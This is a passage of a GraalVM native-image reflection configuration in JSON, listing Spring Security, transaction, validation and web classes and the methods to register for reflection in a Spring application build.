}, {\"name\":\"transform\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }]\n},\n{\n  \"name\":\"org.springframework.security.web.access.RequestMatcherDelegatingWebInvocationPrivilegeEvaluator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"isAllowed\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"org.springframework.security.core.Authentication\"] }, {\"name\":\"isAllowed\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.security.core.Authentication\"] }, {\"name\":\"setServletContext\",\"parameterTypes\":[\"jakarta.servlet.ServletContext\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.web.access.WebInvocationPrivilegeEvaluator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.web.access.expression.DefaultWebSecurityExpressionHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.web.access.intercept.AuthorizationFilter\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.web.aot.hint.WebMvcSecurityRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.web.authentication.AnonymousAuthenticationFilter\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.web.authentication.logout.LogoutFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }]\n},\n{\n  \"name\":\"org.springframework.security.web.authentication.logout.LogoutHandler\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.web.authentication.logout.LogoutSuccessEventPublishingLogoutHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"logout\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\",\"org.springframework.security.core.Authentication\"] }, {\"name\":\"setApplicationEventPublisher\",\"parameterTypes\":[\"org.springframework.context.ApplicationEventPublisher\"] }]\n},\n{\n  \"name\":\"org.springframework.security.web.authentication.session.AbstractSessionFixationProtectionStrategy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"onAuthentication\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\",\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\"] }, {\"name\":\"setAlwaysCreateSession\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setApplicationEventPublisher\",\"parameterTypes\":[\"org.springframework.context.ApplicationEventPublisher\"] }]\n},\n{\n  \"name\":\"org.springframework.security.web.authentication.session.ChangeSessionIdAuthenticationStrategy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.web.authentication.session.CompositeSessionAuthenticationStrategy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"onAuthentication\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\",\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\"] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.web.authentication.session.SessionAuthenticationException\"\n},\n{\n  \"name\":\"org.springframework.security.web.authentication.session.SessionAuthenticationStrategy\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.web.authentication.www.BasicAuthenticationFilter\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.web.context.AbstractSecurityWebApplicationInitializer\"\n},\n{\n  \"name\":\"org.springframework.security.web.context.SecurityContextHolderFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }]\n},\n{\n  \"name\":\"org.springframework.security.web.context.SecurityContextRepository\"\n},\n{\n  \"name\":\"org.springframework.security.web.csrf.CsrfFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.web.csrf.CsrfTokenRequestHandler\"\n},\n{\n  \"name\":\"org.springframework.security.web.firewall.FirewalledRequest\"\n},\n{\n  \"name\":\"org.springframework.security.web.firewall.HttpFirewall\"\n},\n{\n  \"name\":\"org.springframework.security.web.firewall.RequestRejectedHandler\"\n},\n{\n  \"name\":\"org.springframework.security.web.header.HeaderWriterFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.web.savedrequest.RequestCacheAwareFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }]\n},\n{\n  \"name\":\"org.springframework.security.web.server.WebFilterChainProxy\"\n},\n{\n  \"name\":\"org.springframework.security.web.servlet.support.csrf.CsrfRequestDataValueProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getExtraHiddenFields\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"processAction\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"processFormFieldValue\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"processUrl\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"java.lang.String\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.web.servlet.util.matcher.MvcRequestMatcher\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"equals\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"extractUriTemplateVariables\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"hashCode\",\"parameterTypes\":[] }, {\"name\":\"matcher\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"matches\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.web.servletapi.HttpServletRequestFactory\"\n},\n{\n  \"name\":\"org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }]\n},\n{\n  \"name\":\"org.springframework.security.web.util.ThrowableAnalyzer\"\n},\n{\n  \"name\":\"org.springframework.security.web.util.matcher.RequestMatcher\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.web.util.matcher.RequestMatcher$MatchResult\"\n},\n{\n  \"name\":\"org.springframework.security.web.util.matcher.RequestMatcherEntry\"\n},\n{\n  \"name\":\"org.springframework.security.web.util.matcher.RequestVariablesExtractor\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.session.Session\"\n},\n{\n  \"name\":\"org.springframework.stereotype.Component\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.stereotype.Controller\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.stereotype.Indexed\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.stereotype.Service\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.transaction.ConfigurableTransactionManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"addListener\",\"parameterTypes\":[\"org.springframework.transaction.TransactionExecutionListener\"] }]\n},\n{\n  \"name\":\"org.springframework.transaction.NoTransactionException\"\n},\n{\n  \"name\":\"org.springframework.transaction.PlatformTransactionManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.transaction.ReactiveTransactionManager\"\n},\n{\n  \"name\":\"org.springframework.transaction.TransactionDefinition\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.transaction.TransactionException\"\n},\n{\n  \"name\":\"org.springframework.transaction.TransactionExecutionListener\"\n},\n{\n  \"name\":\"org.springframework.transaction.TransactionManager\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.transaction.TransactionStatus\"\n},\n{\n  \"name\":\"org.springframework.transaction.annotation.AbstractTransactionManagementConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setImportMetadata\",\"parameterTypes\":[\"org.springframework.core.type.AnnotationMetadata\"] }, {\"name\":\"transactionalEventListenerFactory\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.transaction.annotation.AnnotationTransactionAttributeSource\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"equals\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"hashCode\",\"parameterTypes\":[] }, {\"name\":\"isCandidateClass\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.transaction.annotation.EnableTransactionManagement\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.transaction.annotation.ProxyTransactionManagementConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"transactionAdvisor\",\"parameterTypes\":[\"org.springframework.transaction.interceptor.TransactionAttributeSource\",\"org.springframework.transaction.interceptor.TransactionInterceptor\"] }, {\"name\":\"transactionAttributeSource\",\"parameterTypes\":[] }, {\"name\":\"transactionInterceptor\",\"parameterTypes\":[\"org.springframework.transaction.interceptor.TransactionAttributeSource\"] }]\n},\n{\n  \"name\":\"org.springframework.transaction.annotation.RestrictedTransactionalEventListenerFactory\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"createApplicationListener\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Class\",\"java.lang.reflect.Method\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.transaction.annotation.TransactionBeanRegistrationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.transaction.annotation.TransactionManagementConfigurationSelector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.transaction.annotation.TransactionRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.transaction.aspectj.AbstractTransactionAspect\"\n},\n{\n  \"name\":\"org.springframework.transaction.event.TransactionalEventListenerFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"setOrder\",\"parameterTypes\":[\"int\"] }, {\"name\":\"supportsMethod\",\"parameterTypes\":[\"java.lang.reflect.Method\"] }]\n},\n{\n  \"name\":\"org.springframework.transaction.interceptor.AbstractFallbackTransactionAttributeSource\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getTransactionAttribute\",\"parameterTypes\":[\"java.lang.reflect.Method\",\"java.lang.Class\"] }, {\"name\":\"setEmbeddedValueResolver\",\"parameterTypes\":[\"org.springframework.util.StringValueResolver\"] }]\n},\n{\n  \"name\":\"org.springframework.transaction.interceptor.BeanFactoryTransactionAttributeSourceAdvisor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getPointcut\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.transaction.interceptor.TransactionAspectSupport\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"getTransactionAttributeSource\",\"parameterTypes\":[] }, {\"name\":\"getTransactionManager\",\"parameterTypes\":[] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"setTransactionAttributeSource\",\"parameterTypes\":[\"org.springframework.transaction.interceptor.TransactionAttributeSource\"] }, {\"name\":\"setTransactionAttributeSources\",\"parameterTypes\":[\"org.springframework.transaction.interceptor.TransactionAttributeSource[]\"] }, {\"name\":\"setTransactionAttributes\",\"parameterTypes\":[\"java.util.Properties\"] }, {\"name\":\"setTransactionManager\",\"parameterTypes\":[\"org.springframework.transaction.TransactionManager\"] }, {\"name\":\"setTransactionManagerBeanName\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.transaction.interceptor.TransactionAspectSupport$CoroutinesInvocationCallback\"\n},\n{\n  \"name\":\"org.springframework.transaction.interceptor.TransactionAspectSupport$InvocationCallback\"\n},\n{\n  \"name\":\"org.springframework.transaction.interceptor.TransactionAspectSupport$ReactiveTransactionSupport\"\n},\n{\n  \"name\":\"org.springframework.transaction.interceptor.TransactionAspectSupport$ThrowableHolder\"\n},\n{\n  \"name\":\"org.springframework.transaction.interceptor.TransactionAspectSupport$TransactionInfo\"\n},\n{\n  \"name\":\"org.springframework.transaction.interceptor.TransactionAttribute\"\n},\n{\n  \"name\":\"org.springframework.transaction.interceptor.TransactionAttributeSource\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.transaction.interceptor.TransactionInterceptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"invoke\",\"parameterTypes\":[\"org.aopalliance.intercept.MethodInvocation\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.transaction.reactive.TransactionalOperator\"\n},\n{\n  \"name\":\"org.springframework.transaction.support.AbstractPlatformTransactionManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"commit\",\"parameterTypes\":[\"org.springframework.transaction.TransactionStatus\"] }, {\"name\":\"getTransaction\",\"parameterTypes\":[\"org.springframework.transaction.TransactionDefinition\"] }, {\"name\":\"getTransactionExecutionListeners\",\"parameterTypes\":[] }, {\"name\":\"rollback\",\"parameterTypes\":[\"org.springframework.transaction.TransactionStatus\"] }, {\"name\":\"setTransactionExecutionListeners\",\"parameterTypes\":[\"java.util.Collection\"] }]\n},\n{\n  \"name\":\"org.springframework.transaction.support.AbstractPlatformTransactionManager$SuspendedResourcesHolder\"\n},\n{\n  \"name\":\"org.springframework.transaction.support.DefaultTransactionDefinition\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getIsolationLevel\",\"parameterTypes\":[] }, {\"name\":\"getName\",\"parameterTypes\":[] }, {\"name\":\"getPropagationBehavior\",\"parameterTypes\":[] }, {\"name\":\"getTimeout\",\"parameterTypes\":[] }, {\"name\":\"hashCode\",\"parameterTypes\":[] }, {\"name\":\"isReadOnly\",\"parameterTypes\":[] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.transaction.support.DefaultTransactionStatus\"\n},\n{\n  \"name\":\"org.springframework.transaction.support.ResourceTransactionManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.transaction.support.TransactionCallback\"\n},\n{\n  \"name\":\"org.springframework.transaction.support.TransactionOperations\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"executeWithoutResult\",\"parameterTypes\":[\"java.util.function.Consumer\"] }]\n},\n{\n  \"name\":\"org.springframework.transaction.support.TransactionTemplate\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"equals\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"execute\",\"parameterTypes\":[\"org.springframework.transaction.support.TransactionCallback\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.ui.ModelMap\"\n},\n{\n  \"name\":\"org.springframework.ui.context.ThemeSource\"\n},\n{\n  \"name\":\"org.springframework.util.AntPathMatcher\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"combine\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"extractPathWithinPattern\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"extractUriTemplateVariables\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"getPatternComparator\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"isPattern\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"match\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"matchStart\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.util.AntPathMatcher$AntPathStringMatcher\"\n},\n{\n  \"name\":\"org.springframework.util.CustomizableThreadCreator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createThread\",\"parameterTypes\":[\"java.lang.Runnable\"] }, {\"name\":\"getThreadGroup\",\"parameterTypes\":[] }, {\"name\":\"getThreadNamePrefix\",\"parameterTypes\":[] }, {\"name\":\"getThreadPriority\",\"parameterTypes\":[] }, {\"name\":\"isDaemon\",\"parameterTypes\":[] }, {\"name\":\"setDaemon\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setThreadGroup\",\"parameterTypes\":[\"java.lang.ThreadGroup\"] }, {\"name\":\"setThreadGroupName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setThreadPriority\",\"parameterTypes\":[\"int\"] }]\n},\n{\n  \"name\":\"org.springframework.util.ErrorHandler\"\n},\n{\n  \"name\":\"org.springframework.util.MimeType\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.util.MultiValueMap\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"putIfAbsent\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"org.springframework.util.PathMatcher\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.util.PropertiesPersister\"\n},\n{\n  \"name\":\"org.springframework.util.StringValueResolver\"\n},\n{\n  \"name\":\"org.springframework.util.concurrent.ListenableFuture\"\n},\n{\n  \"name\":\"org.springframework.util.concurrent.ListenableFutureTask\"\n},\n{\n  \"name\":\"org.springframework.util.unit.DataSize\"\n},\n{\n  \"name\":\"org.springframework.validation.BindingResult\"\n},\n{\n  \"name\":\"org.springframework.validation.DefaultMessageCodesResolver$Format\"\n},\n{\n  \"name\":\"org.springframework.validation.Errors\"\n},\n{\n  \"name\":\"org.springframework.validation.MessageCodesResolver\"\n},\n{\n  \"name\":\"org.springframework.validation.Validator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"validateObject\",\"parameterTypes\":[\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"org.springframework.validation.beanvalidation.BeanValidationBeanRegistrationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.validation.method.MethodValidationResult\"\n},\n{\n  \"name\":\"org.springframework.web.HttpMediaTypeException\"\n},\n{\n  \"name\":\"org.springframework.web.HttpMediaTypeNotAcceptableException\"\n},\n{\n  \"name\":\"org.springframework.web.HttpSessionRequiredException\"\n},\n{\n  \"name\":\"org.springframework.web.accept.ContentNegotiationManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getAllFileExtensions\",\"parameterTypes\":[] }, {\"name\":\"resolveFileExtensions\",\"parameterTypes\":[\"org.springframework.http.MediaType\"] }, {\"name\":\"resolveMediaTypes\",\"parameterTypes\":[\"org.springframework.web.context.request.NativeWebRequest\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.accept.ContentNegotiationStrategy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.web.accept.MediaTypeFileExtensionResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.MissingServletRequestParameterException\"\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.ControllerAdvice\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.ControllerMappingReflectiveProcessor\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.CrossOrigin\"\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.DeleteMapping\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.ExceptionHandler\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.ExceptionHandlerReflectiveProcessor\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.GetMapping\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.Mapping\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.PatchMapping\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.PostMapping\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.PutMapping\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.RequestBody\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.RequestMapping\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.RequestMethod\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.RequestParam\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.ResponseBody\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.ResponseStatus\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.annotation.RestController\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.bind.support.ConfigurableWebBindingInitializer\"\n},\n{\n  \"name\":\"org.springframework.web.bind.support.SessionAttributeStore\"\n},\n{\n  \"name\":\"org.springframework.web.bind.support.WebBindingInitializer\"\n},\n{\n  \"name\":\"org.springframework.web.bind.support.WebDataBinderFactory\"\n},\n{\n  \"name\":\"org.springframework.web.client.ResponseErrorHandler\"\n},\n{\n  \"name\":\"org.springframework.web.client.RestClient\"\n},\n{\n  \"name\":\"org.springframework.web.client.RestClient$Builder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.client.RestClient$ResponseSpec$ErrorHandler\"\n},\n{\n  \"name\":\"org.springframework.web.client.RestTemplate\"\n},\n{\n  \"name\":\"org.springframework.web.context.ConfigurableWebApplicationContext\"\n},\n{\n  \"name\":\"org.springframework.web.context.ServletContextAware\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.web.context.WebApplicationContext\"\n},\n{\n  \"name\":\"org.springframework.web.context.request.NativeWebRequest\"\n},\n{\n  \"name\":\"org.springframework.web.context.request.RequestAttributes\"\n},\n{\n  \"name\":\"org.springframework.web.context.request.RequestContextListener\"\n},\n{\n  \"name\":\"org.springframework.web.context.request.ServletRequestAttributes\"\n},\n{\n  \"name\":\"org.springframework.web.context.request.WebRequest\"\n},\n{\n  \"name\":\"org.springframework.web.context.request.async.DeferredResult\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.context.request.async.DeferredResult$DeferredResultHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.context.request.async.WebAsyncManager\"\n},\n{\n  \"name\":\"org.springframework.web.context.support.GenericWebApplicationContext\"\n},\n{\n  